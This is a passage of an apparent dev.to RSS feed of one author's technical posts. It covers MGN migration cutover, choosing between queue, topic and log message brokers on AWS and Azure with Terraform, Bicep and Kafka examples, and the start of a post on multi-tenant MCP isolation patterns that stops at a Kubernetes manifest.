&lt;li&gt;The complete 8-step cutover checklist in runbook form&lt;/li&gt;
&lt;li&gt;Post-launch steps that belong in every runbook (kernel swap to &lt;code&gt;linux-aws&lt;/code&gt;, removing &lt;code&gt;walinuxagent&lt;/code&gt;, restoring DNS TTLs)&lt;/li&gt;
&lt;li&gt;How MGN's post-launch Systems Manager actions can automate the repeatable parts&lt;/li&gt;
&lt;li&gt;The exact &lt;code&gt;finalize-cutover&lt;/code&gt; and &lt;code&gt;mark-as-archived&lt;/code&gt; sequencing and why the staging cost pressure is worth resisting&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;👉 &lt;a href="https://aloknecessary.in/blogs/mgn-cutover-strategies-rollback-planning/?utm_source=devto&amp;amp;utm_medium=referral&amp;amp;utm_campaign=blog_syndication&amp;amp;utm_content=mgn-cutover-strategies-rollback-planning" rel="noopener noreferrer"&gt;MGN Cutover Strategies: Gating, Sequencing, and Keeping a Way Back — Full Article&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>aws</category>
      <category>devops</category>
      <category>cloud</category>
      <category>migration</category>
    </item>
    <item>
      <title>Queue vs Topic vs Log: Picking the Broker</title>
      <dc:creator>Alok Ranjan Daftuar</dc:creator>
      <pubDate>Mon, 02 Nov 2026 10:57:50 +0000</pubDate>
      <link>https://dev.to/aloknecessary/queue-vs-topic-vs-log-picking-the-broker-2o58</link>
      <guid>https://dev.to/aloknecessary/queue-vs-topic-vs-log-picking-the-broker-2o58</guid>
      <description>&lt;p&gt;Most broker decisions are made in a ten-minute conversation that ends with "we'll just use Kafka," or from the other side, "SQS is fine, it's cheap." Both sentences treat the broker as a throughput-and-price decision. It isn't. What you are actually choosing is a &lt;strong&gt;contract&lt;/strong&gt;: who owns a message after it is delivered, who tracks how far each consumer has read, and whether yesterday's events still exist tomorrow.&lt;/p&gt;

&lt;p&gt;Get the contract wrong and no tuning fixes it. A team that picks a queue and later needs a new service to bootstrap from the last 30 days of order events has nothing to replay. A team that picks Kafka for background jobs ends up owning partition planning, rebalances, and head-of-line blocking to get what a queue provides out of the box.&lt;/p&gt;




&lt;h2&gt;
  
  
  Three primitives, three contracts
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;QUEUE (competing consumers)         TOPIC (fan-out)                    LOG (retained stream)

 producer ──▶ [ m3 m2 m1 ] ──┬▶ A    producer ──▶ topic ──┬▶ [sub-A] ▶ A   producer ──▶ [m1 m2 m3 m4 m5 …]
                             └▶ B                         ├▶ [sub-B] ▶ B                  ▲        ▲
   each message goes to ONE            each subscription gets                       consumer X      consumer Y
   consumer, then is deleted           its OWN copy                                 (offset 2)      (offset 5)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Queue&lt;/th&gt;
&lt;th&gt;Topic (pub/sub)&lt;/th&gt;
&lt;th&gt;Log&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Delivery model&lt;/td&gt;
&lt;td&gt;Competing consumers: one handler per message&lt;/td&gt;
&lt;td&gt;Fan-out: every subscription gets a copy&lt;/td&gt;
&lt;td&gt;Every consumer group reads the whole stream independently&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;After consumption&lt;/td&gt;
&lt;td&gt;Deleted on ack&lt;/td&gt;
&lt;td&gt;Deleted per subscription on ack&lt;/td&gt;
&lt;td&gt;Retained until retention expires, regardless of reads&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Read position owned by&lt;/td&gt;
&lt;td&gt;Broker (visibility timeout / lock)&lt;/td&gt;
&lt;td&gt;Broker, per subscription&lt;/td&gt;
&lt;td&gt;Consumer (offset)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Replay&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes, by rewinding offsets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Failure handling&lt;/td&gt;
&lt;td&gt;Per-message retry and DLQ&lt;/td&gt;
&lt;td&gt;Per-subscription retry and DLQ&lt;/td&gt;
&lt;td&gt;None built in: a failing message blocks its partition&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The last row is where teams get surprised. In a queue, message 7 failing does not stop message 8. In a log, the consumer's offset means "everything before this is done" — a message that keeps failing stalls its partition unless you build retry topics yourself.&lt;/p&gt;




&lt;h2&gt;
  
  
  Mapping to AWS and Azure
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Primitive&lt;/th&gt;
&lt;th&gt;AWS&lt;/th&gt;
&lt;th&gt;Azure&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Queue&lt;/td&gt;
&lt;td&gt;SQS Standard / FIFO&lt;/td&gt;
&lt;td&gt;Service Bus queues&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Topic&lt;/td&gt;
&lt;td&gt;SNS, SNS FIFO&lt;/td&gt;
&lt;td&gt;Service Bus topics + subscriptions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Event router&lt;/td&gt;
&lt;td&gt;EventBridge&lt;/td&gt;
&lt;td&gt;Event Grid&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Log&lt;/td&gt;
&lt;td&gt;MSK, Kinesis Data Streams&lt;/td&gt;
&lt;td&gt;Event Hubs (Kafka endpoint)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Three mapping details decide real designs:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SNS and Service Bus topics are not equivalent.&lt;/strong&gt; On Azure, a topic subscription is a queue with its own lock, delivery count, and dead-letter sub-queue. On AWS, SNS pushes to a subscriber — the standard answer is SNS → SQS per consumer, which recreates what Service Bus gives natively.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;EventBridge and Event Grid are routers, not backbones.&lt;/strong&gt; Right for cloud/SaaS event reactions. Wrong for a high-volume internal event backbone where you need ordering and replay at a known cost.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Partition count is a design decision, not a tuning knob.&lt;/strong&gt; Kafka partitions can be increased but not reduced. Event Hubs Basic/Standard partition count is fixed at creation. Size it for how far back a recovering consumer might need to go.&lt;/p&gt;




&lt;h2&gt;
  
  
  The pattern that covers most systems: topic fan-out into per-consumer queues
&lt;/h2&gt;

&lt;p&gt;When several services need the same event, publish once to a topic and give every consumer its own queue. Each consumer gets isolation, its own DLQ, and independent scaling.&lt;/p&gt;

&lt;h3&gt;
  
  
  AWS: SNS → SQS with filtering
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_sqs_queue"&lt;/span&gt; &lt;span class="s2"&gt;"billing"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;name&lt;/span&gt;                       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"billing-order-events"&lt;/span&gt;
  &lt;span class="n"&gt;visibility_timeout_seconds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;120&lt;/span&gt; &lt;span class="c1"&gt;# must exceed worst-case handler time&lt;/span&gt;
  &lt;span class="n"&gt;redrive_policy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;jsonencode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;deadLetterTargetArn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aws_sqs_queue&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;billing_dlq&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arn&lt;/span&gt;
    &lt;span class="n"&gt;maxReceiveCount&lt;/span&gt;     &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_sns_topic_subscription"&lt;/span&gt; &lt;span class="s2"&gt;"billing"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;topic_arn&lt;/span&gt;            &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aws_sns_topic&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;orders&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arn&lt;/span&gt;
  &lt;span class="n"&gt;protocol&lt;/span&gt;             &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"sqs"&lt;/span&gt;
  &lt;span class="n"&gt;endpoint&lt;/span&gt;             &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aws_sqs_queue&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;billing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arn&lt;/span&gt;
  &lt;span class="n"&gt;raw_message_delivery&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="c1"&gt;# otherwise the body is an SNS JSON envelope&lt;/span&gt;
  &lt;span class="n"&gt;filter_policy_scope&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"MessageBody"&lt;/span&gt;
  &lt;span class="n"&gt;filter_policy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;jsonencode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;eventType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"OrderPlaced"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"OrderCancelled"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The non-obvious decisions: &lt;code&gt;raw_message_delivery&lt;/code&gt; so consumers read your payload and not an SNS envelope, &lt;code&gt;filter_policy_scope = "MessageBody"&lt;/code&gt; so routing works on the payload, and a visibility timeout longer than your slowest handler.&lt;/p&gt;

&lt;h3&gt;
  
  
  Azure: Service Bus topic with a filtered subscription
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight bicep"&gt;&lt;code&gt;&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="n"&gt;billing&lt;/span&gt; &lt;span class="s1"&gt;'Microsoft.ServiceBus/namespaces/topics/subscriptions@2021-11-01'&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;topic&lt;/span&gt;
  &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'billing'&lt;/span&gt;
  &lt;span class="n"&gt;properties&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;lockDuration&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'PT2M'&lt;/span&gt;
    &lt;span class="n"&gt;maxDeliveryCount&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
    &lt;span class="n"&gt;deadLetteringOnMessageExpiration&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="n"&gt;billingFilter&lt;/span&gt; &lt;span class="s1"&gt;'Microsoft.ServiceBus/namespaces/topics/subscriptions/rules@2021-11-01'&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;billing&lt;/span&gt;
  &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'order-lifecycle'&lt;/span&gt;
  &lt;span class="n"&gt;properties&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;filterType&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'SqlFilter'&lt;/span&gt;
    &lt;span class="n"&gt;sqlFilter&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;sqlExpression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'eventType IN (\'OrderPlaced\', \'OrderCancelled\')'&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Service Bus SQL filters evaluate message &lt;strong&gt;properties&lt;/strong&gt;, not the body — the publisher must set &lt;code&gt;eventType&lt;/code&gt; as an application property. A subscription without an explicit rule gets a catch-all &lt;code&gt;$Default&lt;/code&gt; rule; confirm it's not still attached after deployment or the subscription receives everything.&lt;/p&gt;




&lt;h2&gt;
  
  
  When you need a log
&lt;/h2&gt;

&lt;p&gt;Reach for a log when retention is the requirement: new consumers must read history, projections must be rebuildable, or stream processing needs ordered per-key state.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kafka-topics.sh --bootstrap-server &lt;span class="s2"&gt;"$BOOTSTRAP"&lt;/span&gt; --create \
  --topic order-events \
  --partitions 12 \
  --replication-factor 3 \
  --config min.insync.replicas=2 \
  --config retention.ms=604800000   &lt;span class="c"&gt;# 7 days&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;--partitions 12&lt;/code&gt; is your parallelism ceiling per consumer group: a thirteenth consumer sits idle. &lt;code&gt;replication-factor 3&lt;/code&gt; with &lt;code&gt;min.insync.replicas=2&lt;/code&gt; and &lt;code&gt;acks=all&lt;/code&gt; tolerates one broker loss without losing acknowledged writes.&lt;/p&gt;




&lt;h2&gt;
  
  
  Four questions, in order
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Question&lt;/th&gt;
&lt;th&gt;If yes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Must a new or recovering consumer read events from before it existed?&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Log&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Do several independent services need the same event, each at their own pace?&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Topic fanning into per-consumer queues&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Is this work distribution: one handler per message, per-message retry, a DLQ?&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Queue&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Is it a discrete state change from a cloud or SaaS source triggering reactions?&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;EventBridge / Event Grid&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Answers can combine. A common production shape is a log as the system-of-record backbone with queues downstream for consumers that need per-message retry and a DLQ — so one poison message cannot stall a partition.&lt;/p&gt;




&lt;h2&gt;
  
  
  Read the Full Article
&lt;/h2&gt;

&lt;p&gt;This summary covers the three primitives, the AWS/Azure service mapping, and the decision framework. The full article includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Complete Terraform for the SNS → SQS fan-out pattern including the IAM queue policy scoped to the topic ARN&lt;/li&gt;
&lt;li&gt;Full Bicep for the Service Bus topic with duplicate detection and filtered subscription&lt;/li&gt;
&lt;li&gt;The "exactly-once" section — what SQS FIFO deduplication, Service Bus duplicate detection, and Kafka transactions actually cover (and don't cover)&lt;/li&gt;
&lt;li&gt;The archival consumer pattern: how to attach cheap replay insurance from day one when you choose a queue or topic&lt;/li&gt;
&lt;li&gt;What the wrong choice looks like in production — queue chosen when a log was needed, log chosen when a queue was needed, topic without a durable buffer&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;👉 &lt;a href="https://aloknecessary.in/blogs/queue-vs-topic-vs-log-picking-the-broker/?utm_source=devto&amp;amp;utm_medium=referral&amp;amp;utm_campaign=blog_syndication&amp;amp;utm_content=queue-vs-topic-vs-log-picking-the-broker" rel="noopener noreferrer"&gt;Queue vs Topic vs Log: Picking the Broker — Full Article&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>azure</category>
      <category>aws</category>
      <category>kafka</category>
      <category>distributedsystems</category>
    </item>
    <item>
      <title>Multi-Tenant MCP: Isolation Patterns That Hold Up</title>
      <dc:creator>Alok Ranjan Daftuar</dc:creator>
      <pubDate>Fri, 30 Oct 2026 09:26:36 +0000</pubDate>
      <link>https://dev.to/aloknecessary/multi-tenant-mcp-isolation-patterns-that-hold-up-40lh</link>
      <guid>https://dev.to/aloknecessary/multi-tenant-mcp-isolation-patterns-that-hold-up-40lh</guid>
      <description>&lt;p&gt;Every multi-tenant MCP deployment starts with the same instinct: put a &lt;code&gt;tenant_id&lt;/code&gt; in the JWT, scope every tool call to it, and call the isolation problem solved. It isn't. The gap between "scoped by claim" and "actually isolated" is exactly where these deployments fail in production — not in testing, where a single code path is exercised, but in production, where a new tool handler forgets the filter, a cache key drops the tenant dimension, or an agent legitimately holds a valid token but aggregates a result that happened to include data from a neighboring tenant.&lt;/p&gt;

&lt;p&gt;This article is about what real isolation looks like across three architectural patterns, which layer each one enforces, and how to test the boundary rather than just build it.&lt;/p&gt;




&lt;h2&gt;
  
  
  Three patterns, not one
&lt;/h2&gt;

&lt;p&gt;Multi-tenant MCP deployments settle into three recognizable shapes. The pattern a platform needs isn't primarily a technical decision — it's downstream of what its most demanding tenant's compliance posture actually requires.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pattern&lt;/th&gt;
&lt;th&gt;Isolation layer&lt;/th&gt;
&lt;th&gt;Cost profile&lt;/th&gt;
&lt;th&gt;Fits&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Shared instance, claim-scoped&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Application/data layer&lt;/td&gt;
&lt;td&gt;Lowest&lt;/td&gt;
&lt;td&gt;Self-serve SaaS, low-sensitivity data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dedicated compute per tenant&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Infrastructure layer (namespace, network, compute)&lt;/td&gt;
&lt;td&gt;Highest&lt;/td&gt;
&lt;td&gt;SOC 2, HIPAA, FedRAMP tenants&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hybrid — shared compute, per-tenant credential vault&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Credential layer + claim-scoping&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;Most production SaaS&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Forcing both a self-serve SaaS product and its first enterprise customer onto pattern 1 purely for engineering simplicity is the decision that surfaces as a failed security questionnaire months later, at exactly the point in a sales cycle where it's most expensive to revisit.&lt;/p&gt;




&lt;h2&gt;
  
  
  Pattern 1: shared instance, claim-scoped
&lt;/h2&gt;

&lt;p&gt;The critical detail the "put tenant_id in the JWT" version of this pattern usually gets wrong is treating claim extraction as authorization. It's only identification — the actual boundary has to be enforced at the data layer, on every path a request can take:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;handleToolCall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;McpRequest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;McpResponse&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;claims&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;verifyToken&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;authorization&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;tenantId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;claims&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tenant_id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// tenantId passed explicitly — no ambient global a new handler could forget&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;tools&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;toolRegistry&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listFor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tenantId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;tools&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;McpError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"tool_not_found"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// not 403 — don't confirm existence&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;credentials&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;credentialStore&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tenantId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;executeTool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tenantId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two details matter more than they look. Returning &lt;code&gt;tool_not_found&lt;/code&gt; rather than &lt;code&gt;403&lt;/code&gt; avoids confirming to a caller that a tool exists at all — the difference between an isolation boundary and one that leaks information about what's on the other side. And passing &lt;code&gt;tenantId&lt;/code&gt; explicitly through every function call, rather than reading it from a request-scoped global, is deliberate: an ambient "current tenant" is exactly the kind of implicit state that a new tool handler, added six months later by someone who didn't write this code, can forget to consult.&lt;/p&gt;

&lt;p&gt;This pattern also depends on the MCP spec's OAuth 2.1 + PKCE baseline and Resource Indicators (RFC 8707) — which closes the specific failure mode where a token issued for one MCP server gets replayed against a different one. None of that is optional hardening; it's the baseline the pattern depends on to be a security boundary at all.&lt;/p&gt;




&lt;h2&gt;
  
  
  Pattern 2: dedicated compute per tenant
&lt;/h2&gt;

&lt;p&gt;For tenants under SOC 2, HIPAA, or FedRAMP obligations, claim-scoping inside a shared process is rarely sufficient — the compliance requirement is usually for a demonstrable infrastructure-level boundary. This is where namespace-and-labeling conventions stop being hygiene and start being the actual isolation mechanism:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;networking.k8s.io/v1&lt;/span&gt;
